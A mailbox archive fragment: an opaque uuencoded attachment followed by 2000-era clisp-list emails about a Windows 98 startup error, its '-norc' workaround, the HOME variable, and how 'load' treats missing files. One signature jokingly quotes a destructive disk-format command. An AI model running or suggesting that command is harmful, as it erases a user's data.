M^%]^4$BHN"SYB9XUDE9CF82<147A/KA/N^U 36H%8ZR5M$'#D!]U77%=HJ/? M_"%59^%&(AG^"28)8-HO/R2.!36/U9!>T$]EO^F'HB5ISSDR9.-GU_"$U\?" M6[M/T'"GU$,MZ'^DK2;9ISHC-T VDUU-0!Y#R'RCB0E'*TWW_HV8)E&KU7WW MM<]4H,UVI;553P,X3CA!-[)A6N,P"L(-\!VW2 Q5'..1(?LQ'0WEJDA_LU%R M_;EWM@(S#,T':-2A(USA85%N2!,=./?H,)+EH^-$9I*3(NPXPK =!(YX6PRG MTQ,!*"8C"_)3U?74]6;L*#&$SSB4QY7;TEN9-,L('40X,'!40U=1H]5N55J; M]31N_(U,FW$P]=C3X?U%C'(*%W+K_P77TXPV\/J._X2,=@I^<4;;;-.A:C.M MD*0SPCJ+ ^Q'79Z.DK=W_$G@3FC'RHK_5]R/U*YD85#6YZ$8^T+M#MO)WBG* MD".)+?S *XP,!NF,!+!F.Q/'%C(N6R;.X_*F(@3CF,I+-5"CE(&(*_@M)$ G M6>=>LR%*J)^ R=04E *3:0,#8NZ@"$J2D"S?\<=(E:LK1#BMK&GY)Z.5N)3S MUR38 .',*,+Z%T,L0[G*PJ0,VHF%_4?)8 F3+4AI(;!,]HHB7-XO%&3]EPM[ M=DFY6Z\TT%Q+)D@4J.R<*$:_FI P,D/32U9"[;F%\# =\@W:V'=%1(XN#CRY MS&CHG^5Z]U-?S.0T];P,,3$/:*_ M3Y%6O_RXBF/3LFNW21)NE0S\KY?PBT>-ZI'"88Y&S 5?7D7FHO@JG7GLF:]+ MBT?-U+'BA-]1U?)(GZIPN=P!2\=\+K!5:V(NL-UI;74VM])+-[-AE]@)V]FN M-'9;4ZETEL49LK@U0L&70H@=$?NW=4TK9G?0H5^9,X88JLC"V/B4Q6U-'='* MHS79+5L28]>FTKTL 9R8[E@DB2K#FC8=K-*A$FW?[(7""S"NYIJ5R:.8>8-' M6C(ONCV5"O]IBWYNR$ME? L%]2-CP0*U??ZB,)!&H*6(OYAS,S5G:Z=9V=K9 M2<-=EA23XYKH&ET$X'T!>2:OFE.#BX7'Y<:SC/^*+YAK&XXW<@-;%.N))M83 M \QBC%' R*&>IQDJ*[]R!8"ONXF<]_;VD.]\@=4)(;BC#3>42U0% MH)N(IGN#$2\>>EAG"R^2-U=]# HQ)_OF+:F"R5R@Z,=JS/ M6GKY-KCIFW0Q&0,A1)[I^@'O2=):K1 L!Z6"A1'$(:X:/H?PV0$??!_Z0>#2 M?:8)C";A;+FT&I5F:SO+Q3&AW\<"OEY-$WQ>.5V_X/P&/V3I9L(7.TWJ:'DZ M_\S*G%!/#G=80O(LDJLQNL!,^P5TL5K>;;ZG N!,)LW4(PQRS5R06UDIU%:20YS>9V)(0=3I OEUNF:M-HO. M+XS+W@97HFQI.=4K84\8%*LTE=()TC0NWM7M*\N,K2%S'"L'WO;B4C5R?.U> M-^Z5KJMB>R,4,C2L*RK4K(6.;KZ#7:*!&3%/D>XE-G>VT-$UIW3ID6I8JMG9U*:WA2P4R9M\%B$5O06M<:BN+G9TDPX]<3D8;"CFI-CU'+5J9M\O M$E2O$O@+24SJEK6?"5'BBUN[S4H[VTCXWK*4J>#WD6(IV4ME.D>>Z"U(N4%D2=(["5-:S[+A=KZ/LM[*0HD6625=37<@4 M"3/B@NXTJTQ!HML4MVA3EX6.3"RRH%$E'N2:N[GF B1&_1)0EB!)%LQPMX@' MU60^5#>#? M@(UCF$#<@.AS*+4U0G?AHM=P*7G_/.TUR%1OV7\?N)8YCC M$Y[HT)_-<>@YXRX)\?)-,A>V]*,9%.A%:Y]G[/]--+:J:NL \5V/;M26Y;N MX\+]ACA0$FO)1#(A/TF^T\%A6L*IS2\9"+Y"WCD:"B(O3%WP[H5IOTD!U-Q+ M.;E4$V;9_7:S5=EN;>8KDQFNY4WFN^I274HUAA1/D8MJD%\X6@-YNL:#4/3L M26NU-:DHZ5G.BN+?QX3G'W-=R:H^2J^[B.B/R,@7:YP_T(2%OA1WBDTM8&--PO7[G-Y @]B=+RGFJ%:B3S/4J9NI M4W[N8E[)*"T_1I9*I!;=Y$E*"\1-?4U>M"IWT!#3#;>5Q/6A^7,!TV0M),^S MW6I4MMNMQTN\1MT#_9LPTK8Q%#5QZ4=^BC$_@VTS-7,#!16JZ MW+- @PL,G:?"!3_Y)&TNH)^ISGE2%ZEUB4]%Y9[I3#?KE>W-F=L\,S(Z7X=Q M>;]F1CZ',8)C=-F-9I&)[@KA+_^SGFBH[^O9L=$BAD\[C?.+$I?_Y[SD-%*\ MZD296::F?))_>E.>*A-QP4'QER]).*49.?F1>WUKE"O($^"L7'@D"6#WM+E3 MV=[:66X'ZE$I/FGH3,E.CUDDWZD1"Y*./.C7RGX*45D#GD3-5ZM%,GZ^7LC^ M6:HQBV53VC'+OAOUUDZE46_7LZ,:?*.F_'4M0ML'"VPP&V"VP-P& 0.X@>%4 MIINDS;Z4;SJSFOZ+SHW^5//9J3OVU G7S?"%V&XW'<-9\,O M/OMJ;=(WH)3+E/^>&R17<6^YX(XMQ];5F:6\.X\ST)^GT>37#UQ=7NI/O@2@ MI"_WQVACH/C-MJ>A9G7]31N:ONV*T.#CP])D2J,UN?&FT65\%D>"2K:+Q,A3 MU@X#+[A9_E!Q"GR9;R=M5QK-9DY7N:&58XBJ^(;B?L0[8?GO(&A#%S:&GAGC MBB;T<:*.OT'>\<,!GCFRX/EZX(L1#%$0H_1*T=05(FEGB'+HRL.@H3OM3M . M&ZFOF.H1&!="$A3/-=0VXU*HYT_MU,$T'!YMC-R=4D(->4WJQ#T M8^('%K\8IG/'/6/@/P*[CPE*?( MJV]E5F)UKHA+=YL>=VC3\$L^\5S4^@RS?6^>B=WN[P+5]^E_!B"';ICYT40*2?G,!=FAC*]LHOP/0FI"2F MI?C",F. [+R:U*C0Q-_DDB=ER?+UC,&*E]GU1\GK=##Y:?GG D;%_F>9C4NW MG:=[];49]NG[R_PW>8@]O:,K^J-H=.FF U\N5PO(TMGDUUR(D_+;;#F@1,AY MR!)GY1B,RE.B3"X@Q/(HM9E^CS@SB$3M$HLM*E[2/%_UBL_>LDI8'O:H.A:? MF7KYN.=X5&E+,R[E@Y0REQ6X_%1^^;_RKK2];1Q)?TY^PNP76'9:E"VJ=?B4 MGSEHFXXUK:LEN<>9S3S=.BB;$UE2ZXCCW=G\]JT# $&*LF7'<9P9/8E,D0 ( M% I H5#UEF;)<'WB^#B2),30X4?+.)OS+>=LLXP[&#SZ.GE>^'#>#O7 *BR^ MD.%!G&Y2*';6WL4OBBUC,%J MO9XT<$*W''*9)EORIMOZ6=)++PCF]'#7HO?P!8_?%S/PKI=.RO+IO8BV MVNQ0^8GK4G,01;LT9@2LVJ,+8\_HV&6CSR!\Y+-T_-U'?K.,V!Y>]J95^M;, M]M@N-HJ8Q149U^%Z5W#=ZPY6A%2*3[^"FF,WO;,=VA4(Y61-DI=R_T@[B M:^*0;_1&P;7B?'BCODFS 6KO)&/:A'9P@XZ 8OW]ABQ)(YJ(1 .=!PA^6+88 MX8.\R>P6AXCXW!8)8SO*BW7[LCNP)."02*9O]+D:-G3=)H5/4A:K]^/T M;(N?X7>QF+DRJ7S02?#N4"KSVES$V0\^IIND M0[B14NVN@CO46P1"#.^+])= D96*5=,!4%Q1ZD9._+<(,Z[\6>35U;/>P\H/( _S]F]Q MS!VG#[J?ER.?@*4CGR_B[%AM#-D8YPSGBOUL.K^_%[A7E"1(Y<1GR$J-'2[: MP]O9%'/=&Y M%7_+B&;WRD/UU_CY*.: SI<5Y;_6&PQGOQ][L^ A+)6K/PKNEX^"RT^OS# MBZ/6'90*N/>#M[IL%TU]/^?NIG/&]+)K@"G":$9C?V_RD>(0L+_6?'8%

T/W4%XM5_? MHGM)J^A]0BD?5@L@2Y%]$N''WD'X_$L!/]\9 R FX0J2=M8X4%P.-<_'@?=! MS:\]&&I>EAL'-;_V15#SLN G@IH7RZ#F43K,&LKD9Z#@DQ'O&](MCA-SN=W@ M!/;)P8&7$#; \5\D[K*^I%8QE/$G \U8GAIS(R0[/&P^O+/5<*K-LM-R3U(( MQ'WTUR;^!;(T:DT4<#&F %22UKJK)N9$9<;+?/>8GY5QB*TW%'#:XT6(7EC MX!/=::]%( [;T]%\TO4PFHM\S6]$-/VR?PEG# HQUZ/#U /Y,Q^U)%_ODT_YN_XFZ MA=\)._HK-BNVW'=@6&U#8R5B8]9@Q*8JZ)FK$63CB2&$% M8CBNJ[9.0NT0?_H3VI_INQFUU*^I?W*)]CZ-84?@SP:W%"'"XU4VD\F8,;,0 MGA^#$26Q5DFAUZG\SGXZOZ?-O;Y5BX(@6\57KUZM2^WSIIK!QA.0B!$" 3M= MQN?Z787H\LV(;,+^!-(T\8'W";8U(*A+&S-JPK) :ZED?,D8=,VFVUS9-:.R M. D1"X>C>I$A8:A&:%4HDG=7("D96B6&[4 1]V50#&U,PYHB,!89J?*JK[QEG6*CGZD[\\6R*JH34 M6 N01*.#1;/#;TRCY=K0E8CW%4D7YF*2A.1$]A!N7I9OE8@ 2J-!7]^+)T3 ^I? H5J1_S@4YQZ'<_4+P/F%D2QV4; M-P_OX#&JI^@G)<9Z@42S]A#]%Z\$Q;R 7U=B M?6OFTT;4'H^FI)X5*9'L#FP9S4)H=M>HZFN+*I:'4_)NQ0XIR-G,F[4[04II M_5V4C<*$-FJ6IU?JB4>AE4)/%#!/7.?%*XV^H#_C1M[C^C>NI#NZ.TS1M8BJ M3.ZQD$)!;:BC2;\J=)\KC:MTD%WL@#6S Q@AY)K#,0UG_G#NQ5>&TZ-UOD\A ME422>KEH]%,00R4F/U0CB+7")RA&R)6'\WF(S4-34\_KS)?:L,=,20OI[Y^* M]K/I?0,9"W]JO3=IAAFT2O3I;)GL@0A8&@H?%2L5HZZIB@-=R]!@LF@-I;/"F-GUCRL MA?E]PR8_OYW.%;*&'1;+BUP->,-X4R2#'S9"@3''%S'BP+47K3^E&H+0M9D* M5EI]4UBFA?\0 :;-(P),:W7GDPDN=)0IA,PIZQ:\0EE42!3+V!87\M# /:/% M!6AQH @(2037[=N.9U-S!=D%4/?9'#P4GD.W,'P;\*:-F>S+2Q#?;8HN<1Q]Z0A[?:5F#S&FC5PZW2]1B84AH@Y('O\X4 MS/"%D.9A3@J/QN.,EK,,^/#Y^R:6C?=RZ4(V'S9>LB@K5L-K7PMOU&=LT 5? MCHF#-;(J"8CM&!$PG-1,&UD M>_XE$ MSV\HO'%Z<4VX",F7=AJT*(F.]^<_\\RUAP8E(2'DZX^&Q\TT2^<5'"X1 MLU2Y?,JZO)"Q%OW$C;;P.(O[W#?N8G*L. I%=/3%OIXGXI6&XI(&W#TTU?GH M79_%(:K&9M2_;LF@^\HC*V[=*>SGTX5]$ZHP"$OYP;N]&4UZ2C:6,1M3)(AR M6@IJ,>K>D0F>HM5B5W*[<@6&8#EZ&A( QBS?Q3MSG0TF,]HLJ"-0(8SOM:HV+K5 M.L0:[8F,/1,4E$V)H"@FA$_VY;Q/@;V%7A\A,PTX?4-VBPS10!MBN2$-S* _ M_]":4T1'M/:A))?X@ZZN1SW/FDU@:4FHG:Q$H(*'8A:9N ,Y:JQXP@"5M:[- M9[(@V@)N3-'T'FK#VS^I734F1;Y;T#;*#5]L\X!:=\3_QQYVC4O&MQ6 M1ON&4F07\1$^TLF8,G$=')M&_!A/JC\'P5]O[6'')Y*\4AHBL]P]4 I:>'1Z M7J*P, U%NYW;36^;H-N/YJ:',],"+VD^@G&&0VSIU*[8Z]^2JW"6T3SQ.+[Z MIFP5-VGMY/;2.R8FPTXNF][)'2S,[HQZ$E(S"(1BZ"B7]_;,T/R@BN=J-)FQ M2$!1):5ZA*E;#VD_UM__2%2$_3-*-6@P0T@*6U)2Z+.V! \EO-\YI=476R+' M<@[=2:4"#'?Y^AO;J"XJEXB;>_X4K:QZ(3U3!P,UQ3715#919T'*>$+FM],[ MA2!*DN17^3)!Q)$WZ67DC3L.@4 98^/H Z3YW"Y:G]LD%L%UZO-?_MO2E?_\ M#Q5!%SYH@.X7BR;%IQZ-#7J#(1C/KOP)WXW0P: %#8W^:#X!GM4U-+UB+%DC M/"B">B5(H!VT9_Y'CX4Y*F$(V?.R L18^1QPFC9S?W8"O5CBQ''3;C:?WLWN MF\;G4@M9A%D?PUS@4;S$O]2X,Y8_P\BFGCWZZ$WL#I!H*@8J1TIJIB4]$RZ7 M0YICU+[TT=N WL&\GT:/@?9@@,:%0W0@P$V@3ID@P0$HG(I4C_^(9&_$=_AE M30]!GX/2MK_#=^A">K$U^BQ;" 9)%^B\# M8Y>KPI"SK3U:#&",4HP/0^$DYJ1-1N&"J,W;YDQ&W'CBICV<<5:?@GFQ] L< M .R644=%?Y0?0^L3DA)(L L3%/?1Y.>D_/XL%?R:G'E[[0D_#($ !+?5S!O) M960CM:5YB^X$J'WZ.$PU F,@(" ;J5B ::?,R.TA##(?&!F(+9^@&0<%@%3P MP=&,%@L"Y$]/?ODL"5R3\F:SY_?[E!:+V92_KW$L\0VMHY$18B/I4?FP/$]8 M^<:QJ8R*P2C41<57,A))6"$AK&^;12Z,XW#VX-%7&KLI?M>AB(R/9QG#7W_XQJZ\.]OIW=U" M<-QE'=>J)\#5[L]PZ31$I5EWC\NE9BLE*N?5H]IY]83WAU;%^4G>$+\X#9!O M3MSRSW@I-GYQRN=N4QZXZR.]EK 0^<2RL*!2]:0N6HB%66G"35^P:R9 M!?T TIV$ZH5E!0_4+R8H'K;@)L$@[49_0I)ZR#8@2V>&B ])3]6)A=8&1)E% MS>LQ!V(T2V[OIG=W@JBG_TYDC7#JUR9G+-?N@@"^9W)M'TJ\XDW0)BER;'^T M*4]DY 8JN"\2?_@#[._@7Q&#AS*ZAIKPY &FM26R[-NM'^C97,GJ_$N!J>Q MG7;S1I=_DSH92!]LJOD 3^:%]/>;+.WMIO?U83E,G)8#?+OA-AJU1J7Y5ECZ MDGH>$[!5FTWWQ?J6!=_'95$ME5.BV6J@*ZP5"0#95MOCW@ 12]F-ECI =B$V1MK4Q[65 MW0B,\ '0VGJ]_ Y$B? G?"B0. M@_W4+1YER8V36M55@QCH6$%*-ESGQ*Y5R^]LI]DLO:T*"^<.F'&D"<1L-Y=U*J-(73>(= )$GKM'11/:^(TW(-_FCX*&%5:S!UXWIS M/;!9 0R] 26ES.7#DB,H4;IF_!F0W:?^Y5!%<%;'5FS8+>-I->0*(M;MPFXV M:[E -V'16I%LMFH-EY8[JJ)HGA^EU+.?SVLM%W/+"LAARFW$Q%;E+2Q:V-KD MF=,\ELENGILO8H4Q TT#ANR(@R*],P["P^TT(&O#]J-U[ MP*H137X_WQ>V]]*%G8*Q;'"SQR*1( ^#2S3JG5V1-3(F,.SE^'B=GK!=R'3> M@0G^(^K7R9(7Y_HIA323@%NR>(QA02=0UFQD+Y;#Z%JH=!2'ZUNP' 43!JXS M;(%M5YV*RTN-#?T@K/.FV[!K1W]UCUM2A$'N6TQ=%V9*\PTN"J$WUBR+( M8>I9Z1'+,'O9=&$_9WH>J8D:["+G0B[^H386FK(20N.E**@DR)RW((O!%[6G7]T5G,.I^".3A4)7\ MH5&C5PLU>A74:.'UZA.N1E )?[BT#NOD-%"2MA1,-,,5Z0F)%K:Q#5EQ/C/] MC,KYPWOK]@3$U1/EY/)!^-J+Z>^?*@_VTKFLGBG7MX[+P2"$[U+5M[ M SP=!/J/)CWI:TU^ZWP81E])4M:%LISBUI3JR\M:DIM@OD,EWX(N/P31WR-X M*$*9(OC(/G,#E4T$EH22S/ZEA HC;WT!J5X8I6*ET$+>!(>@]C?1PO@47#EA71C&'^BH@%^&*;I(8VG'.4'EA&8! M^8JVK)0=J,OGZ+!L3VY M?T 6UVI':+54\L5W.JMUJ[BW7YVXUB_M6\=L*NH&']*_!SEHWD%@J;%J\YZR ML^]L[JH=_E@J*.EA2 ;AIC2P^V,>I(&]8F&_F,^%8,$6TZZ@7,C#E) /H773 M&=((#X_H3%[ZO@EI),TJ25S!($W'X]OYPC8>X?_3O\[ "J+*D5;RZ*G>O1+K M[]=38MJ^L8?>C3+0DS9R?$(V\*5A.>M"0Y;P1C0UU6GQ7@&FBXSRD-%9YD,J M'Q]"=60]1-3HWLS!CG+T>';KCSWO0^ )Y/@H19J';%I!(H)\_&"3P.T;<&T M7WE]00<$WH[??0<\@0/8G3X:+[I#XT;8=O8@O9W;,04GH:AEC^?3*QO1 5%] M+41GW@^V'W*N,\ZZ)3$GWJ4_!7ILACP#<]ELQ/L/?C/Z QL)W>7QJ([,Z4RQ MS2>""+2B#@WI4#Y4^$)ER.634^LCQCG%&_&G"(0#%;;% K1E7JC M5A?5VGG51JV_N.#]QRLT>#LI5=QJ$ZW$3DK-YCO881[51>.H;H@03 9"4)!N M49;R!Y,SCW:8V)0>/&TZ(6>['0V0HGS/HEY"XF-X%I%A$C_J==WHC':O9Q@Y M!!V"DP0:?5/\ ;PMU%RKYH4;J#^�JPI,V[.=([\#3$5EW$:"XVLT8\G50 -GH8H@]M, -$ -( AM+:9E8-IM/ MF,1!(ACI)<:3=)S7CN72X7T_EP=F*N1"NZ^G9Z80"(#!*#SG;ZW";7F5"1D2''Q#,*B%Z$!0,EW>K\U P4+\K(5$8$Y9.KLGW#X2Y.6+>=6Y?2Y.Y M6W%LI/056DI;N=:PQ0IC:XC8R*=D XIG+\;D"LV9=]%^5[9+\2UU&2Q])!Y( MG'IA=)0\<8>:6=W!"&HZ5KZQ(%YZW0]3-#-NJ^)\1(C!5$"SJ]$-2JNP")%Q M&JQ)3 $N#1NWMA:ROB&8R/D8X;IM6C:'B%3 P)7V?&SW1M#''X:C&QN=+&8C MFUZUXH E,S39@&5K@\;U,&<-J!P=TBV4O.C4;/(-SB=R,.- ?L#J%5^]M25+ MEQX*:/L1UX#7?"1/+JI2 M*5+ ;,D%K6/-,1'1JIY&UL'W )ND_J#%F8)%I[IO9(FY)="&T-=PN\UT#S/&PT+B.P\;!2("\.!H'A MDK;2Y\5N.PMS30CN[?,SQ_K#A_HC1_JSC'-$(O]M1KI1U4Q@UJYM$1%/?KZS;.5:B?+_?G< M*8L3D4O!(^DTQ4U43E/?O(ED3"B6?0[%TY(@KM=WL]OIW5Q$4L6Z;2UYMP8B M4*[U\16(([]Z5VBEHG<]D@Z/K(L>4:C)6/WL?"'Y_6-J+YO>,Z#8X*<9".E0 ML+SJS\A*)B-$%<].$=90NJQ),QB0;ML?1SXNT1C= V\Q1B&NV5P2H?)RV"0% M0?KZWC E3X9F*5<.KA,Z^]%=%2I*W[AN!Q'KZ:.?H#K)2(:N-11F0.$O+F!F MKH2,>2?6IT*L).AI5I$MHG"*92^[3T@YM&0(F1 8JZ19TGHHU6*WF;G"3CJ' MT'Z:P> 7WMK)F4S60C,[7*](8 H$+BM$_;X_(4$"EB:HY23'*QY>YJ/(?QK- MC#+[P^Z$A+G-E"&8#&SO]SFDH5*2^)W2(2I/Z577Z$34052!P6!T0](BI4X$ MRW*I+[=T4Y9F*1]45B['-QYL^H;)F;0VP!2#]F5:=.8ST6T/52GHQ4)/3TN- M9@M//LBT%Y$=Z7:I6FJ5G'+Y'3PB^@03Q'P\^9A[P**[D-Z<(G:6]"+T6#X< MOQZ)6'7_1FZMZ^_E%>JKSH]JYRVXQ1?AY8:,0MZBE1N?(QJ/3FJM4L5M"JL$ M=4P&^_6IC:B']"F,JG=N^ M&T^;XFPM+ RAZ%O!NA!=&CBS?$!E=S FT9A1\1$I'6'V14*'-DLP[CNEE3$^ MB]#UFWVO#2N AXBFAL(DMB\"W(&9^_XPX0*3]S/W(WXAD7;.ZBG?/@K@GG M') HI<46M@!4EMTFXRQV9]Q80PL#T\(C,6G#5#4H8JBHO$3%_Q$'LE&P,F:- M]ZR*#)3AJ#NFDX-Q,31@L!?D4W.$R.[DKI/11X#\-EFP8U^:,/V).SHJ%4#, MYW?3!G3N$[51\C4 9_WK4FU-T M) P+)2Q^S-L,&2M*3-HS=4D1WWR4VF4<*7GN\^K5H2QH/O,'_LSWIL8V@ ,9 MTCZMR$"OC&&)S4\TWS7M>J-V7'9*%36?T6,#7!3@NK+SV+Z>]?>O+97#J?C6I1^A./@ZG9Z#%M7]LS!NHVW.JQ:__B-&Q86D$:.&VXKHWS&-YKVK53VVF\+:-BXJ0AJ 1] MPB;N2.WHU,R!="0:G(B>IT!::=&!Z+E(1DJ!*LMTD2>&/)&T*G9+IM)7/YC6 M!\OH\ ,:K5JF.S]M./Q^WYMXPRXZXTYL ARP(D6,^C8JX!!/J:>]]MDOBSLB MK.MYP1VQ_N_8$Z&AM[VZKF4Q_?U#+^RG@!M?[WJ,\5]'.)?HX,ZXV1WWQG8N MF\$ L13T%;&'8%L(L]Y-6YY9X(FBC^)W9TZQD$A3TQ_!UG,T$AV8FTJ"C@V# MPPP\0IEEI!00&5L7!C6%LNVNE4]LZF0+/>3(Q?TB)9+.>:M6KCDGH4T'94-' M)O((K)Z7RT)E#]N;*,8A5T,H3K_$+#<5XZ_P$@BVOHQBCR79G32+?E:E7<#4 MO?:L_1"FCJ:_GZD+A?1.+N#I$A(6 S+A40&2N-L>HA*E1_A;,U(_"5@./0J* M5%1ASDUUE3Y&B^/2@ 87(KDAO5*3"GO+KM1.W- TLU%VJV];9V*CVG(;E:9H M.-636@5^-FHUF# WX/=/L$>LE=^1A_,&;@UIAMP@)]A?M8W-KU4E,:'*"M]S MXL*JWW M]7*K4:L+&D!"R=#Q&6DH:_;L: M:KY=;)2PO= LI^5R?8S*G^I#UU%?'-5J9=>I"JGK(_B,C/ S7@8#M)Z4CJ&$ MYFIU5$7=54NBJM@XHO;486L/.WCX4W%:C=)%'?NC!3T*%^C*TW*JK3KVQ@;9 MB&_@0=F]+'8:+ZK'-7*G 2&[A!NC7H]_)[TO F>@ZKKRPF(K_#C MNCU&4R)V_B/6U;/+UV#=]?\>^HY/?$O7$3,8(4F<=DT:YN-<[= MM&SDBM.K)LDB); T:))3;L*?DYI3+EM,T<1_9U&"<=( MN?86#T/Y&)5($9SBK4R*5=CC.Z)%')OLYM,F*! 7TSQV@##,QO +#Y4W6JUW MM5-@5]37-N =?\-Q>8JH"T;&"^>B!/5[QW^ _4^=X]1*W&5A,^LGM7*919DD M;1/TV&O5[/-FF,YOH%GB3;-4%6^.:TWQ!L877K7@JWD,#USXYA7 K"&]%;+PIP?\Z?N&/^AE>O74J%2<@<>5GQI Y%!S\K3V+C M;0_JX+NC(4PB-#=F@OQ2E.9N#Y\L?,UN7SJ2OO]^7]JT%]?Q<>-_OY#>/PCD M]4.,]#=3Q_G>)]C7"F2$\ND[D'\0.Q>V62,\#.U>$4Y+>P*[(L93)Y!;+F(X MY1/+CZ/!1Z^7$4X'SS0A?QH/0>DD]:K]$0_P)PA$ '][GEA;6XL?3V6#K&4Q M$\E6PZ[6L%HABAYN\('I!@%:T2D1K:7U!@@0=(4"%LRW55Q^RV?(JOA5=QH, M*<*T,$ZB7PPMUI^7&,&&T;_T'Z)_C"2_?[NX7=A/;V_OAA8@"W75GMT'Z7DF M#MKO")"/=M.J-!I5#?E6S'V M.[=Y8?WXXP9<@K#NO)WS&XQ$> JU\LJ'; Wed, 16 Aug 2000 08:50:05 -0700 Received: from faraday.chara.gsu.edu (faraday.chara.Gsu.EDU [131.96.144.48]) by panther.Gsu.EDU (8.9.3/8.7.3) with ESMTP id LAA25767; Wed, 16 Aug 2000 11:49:46 -0400 (EDT) Message-Id: <4.3.2.7.2.20000816112509.00dc5a80@131.96.1.18> X-Sender: phymss@131.96.1.18 Disposition-Notification-To: X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Wed, 16 Aug 2000 11:56:12 -0400 To: clisp-list@lists.sourceforge.net From: Mark Shure Cc: Don Cohen , Bruno Haible , Mark Shure , Sam Steingold Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Subject: [clisp-list] fix for clisp startup problem on Win98 Thanks to advice from Don Cohen, Bruno Haible & Sam Steingold (both on and off the mailing list), I was able to fix my clisp startup problem on Win98 when running the archived win32 binary. Here is my original description of the problem (2000-08-15): ------------------------------------------------------------------------- I just installed the clisp-2000-03-06 win32 binary on my home Win98 system. When I start up the program (in the c:\clisp directory) by typing "c:\clisp\lisp.exe -M lispinit.mem", I get the usual startup banner, a blank line and then the following message: [pathname.d:6727] *** - Win32 error 2 (ERROR_FILE_NOT_FOUND): The system cannot find the file specified. 1. Break [1]> Before installing this latest version, I had been running the previous 1999-07-22 version and was having the same problem. However, neither version had any problems running on my office WinNT system. Can someone suggest what is going on here? ------------------------------------------------------------------------- The problem is apparently that upon startup, clisp looks for an initialization file called "~/.clisprc". When it can't find it, it spits out the ERROR_FILE_NOT_FOUND message and does not complete all of the program initialization. In order to avoid this error, the solution is to type (assuming the files are all in the "c:\clisp" directory): c:\clisp\lisp.exe -M lispinit.mem -norc which avoids loading the "~/.clisprc" file. You can find this option in the "lisp --help" message. I hadn't realized how helpful this usage message was! It's not clear to me why this same problem does not show up under WinNT, but it's hardly a surprise. Thanks again for the help with this problem! Regards, Mark ============================================ Mark Shure (shure@chara.gsu.edu) Associate Professor Center for High Angular Resolution Astronomy -------------------------------------------- Georgia State University Astronomy Offices, Suite 700 1 Park Place South SE Atlanta GA 30303-2911 -------------------------------------------- phone: 404-651-1365 fax: 404-651-1389 ============================================ From haible@ilog.fr Wed Aug 16 09:50:46 2000 Received: from sceaux.ilog.fr (sceaux.ilog.fr [193.55.64.10]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id JAA19386 for ; Wed, 16 Aug 2000 09:50:45 -0700 Received: from laposte.ilog.fr (laposte [172.17.1.6]) by sceaux.ilog.fr (8.9.3/8.9.3) with ESMTP id SAA01929; Wed, 16 Aug 2000 18:46:04 +0200 (MET DST) Received: from honolulu.ilog.fr ([172.17.4.170]) by laposte.ilog.fr (8.9.3/8.9.3) with ESMTP id SAA10715; Wed, 16 Aug 2000 18:49:40 +0200 (MET DST) Received: (from haible@localhost) by honolulu.ilog.fr (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) id SAA08876; Wed, 16 Aug 2000 18:49:17 +0200 From: Bruno Haible MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <14746.50700.995470.731350@honolulu.ilog.fr> Date: Wed, 16 Aug 2000 18:49:16 +0200 (CEST) To: Mark Shure Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] fix for clisp startup problem on Win98 In-Reply-To: <4.3.2.7.2.20000816112509.00dc5a80@131.96.1.18> References: <4.3.2.7.2.20000816112509.00dc5a80@131.96.1.18> X-Mailer: VM 6.72 under 21.1 (patch 8) "Bryce Canyon" XEmacs Lucid Thanks for summarizing the solution. > It's not clear to me why this same problem does not show up under > WinNT, but it's hardly a surprise. Windows NT defines HOMEDRIVE and HOMEPATH environment variables. Whereas on Windows98 it's the user's responsibility to provide a valid HOME environment variable. If HOME points to a nonexistent directory, you will get this ERROR_FILE_NOT_FOUND. Bruno From sds@gnu.org Wed Aug 16 12:20:06 2000 Received: from sanpietro.red-bean.com (sanpietro.red-bean.com [206.69.89.65]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id MAA03456 for ; Wed, 16 Aug 2000 12:20:05 -0700 Received: from xchange.com (centurion3.exapps.com [12.25.11.194]) by sanpietro.red-bean.com (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id OAA31750; Wed, 16 Aug 2000 14:19:55 -0500 X-Authentication-Warning: sanpietro.red-bean.com: Host centurion3.exapps.com [12.25.11.194] claimed to be xchange.com To: Bruno Haible Cc: Mark Shure , clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] fix for clisp startup problem on Win98 References: <4.3.2.7.2.20000816112509.00dc5a80@131.96.1.18> <14746.50700.995470.731350@honolulu.ilog.fr> Return-Receipt-To: sds@gnu.org Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Bruno Haible's message of "Wed, 16 Aug 2000 18:49:16 +0200 (CEST)" User-Agent: Gnus/5.0807 (Gnus v5.8.7) Emacs/20.7 Date: 16 Aug 2000 15:16:25 -0400 Message-ID: Lines: 38 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii > * In message <14746.50700.995470.731350@honolulu.ilog.fr> > * On the subject of "Re: [clisp-list] fix for clisp startup problem on Win98" > * Sent on Wed, 16 Aug 2000 18:49:16 +0200 (CEST) > * Honorable Bruno Haible writes: > > Thanks for summarizing the solution. yep! > > It's not clear to me why this same problem does not show up under > > WinNT, but it's hardly a surprise. > > Windows NT defines HOMEDRIVE and HOMEPATH environment > variables. Whereas on Windows98 it's the user's responsibility to > provide a valid HOME environment variable. If HOME points to a > nonexistent directory, you will get this ERROR_FILE_NOT_FOUND. WOW! interesting. (load "/sfg/sfg/s/dfg/sfg/sdf/g" :if-does-not-exist nil) signals an error under CLISP but returns NIL on Allegro and CMUCL. Shouldn't we follow suit? ANSI says: If the file does not exist, the specific action taken depends on if-does-not-exist: if it is nil, load returns nil; otherwise, load signals an error. it appears that ANSI doesn't separate the issue of existence for files and directories. -- Sam Steingold (http://www.podval.org/~sds) Micros**t is not the answer. Micros**t is a question, and the answer is Linux, (http://www.linux.org) the choice of the GNU (http://www.gnu.org) generation. Daddy, what does "format disk c: complete" mean? From marcoxa@cs.nyu.edu Thu Aug 17 06:40:20 2000 Received: from octagon.mrl.nyu.edu (OCTAGON.MRL.NYU.EDU [128.122.47.83]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id GAA30459 for ; Thu, 17 Aug 2000 06:40:19 -0700 Received: (from marcoxa@localhost) by octagon.mrl.nyu.edu (8.9.3/8.9.3) id JAA05565; 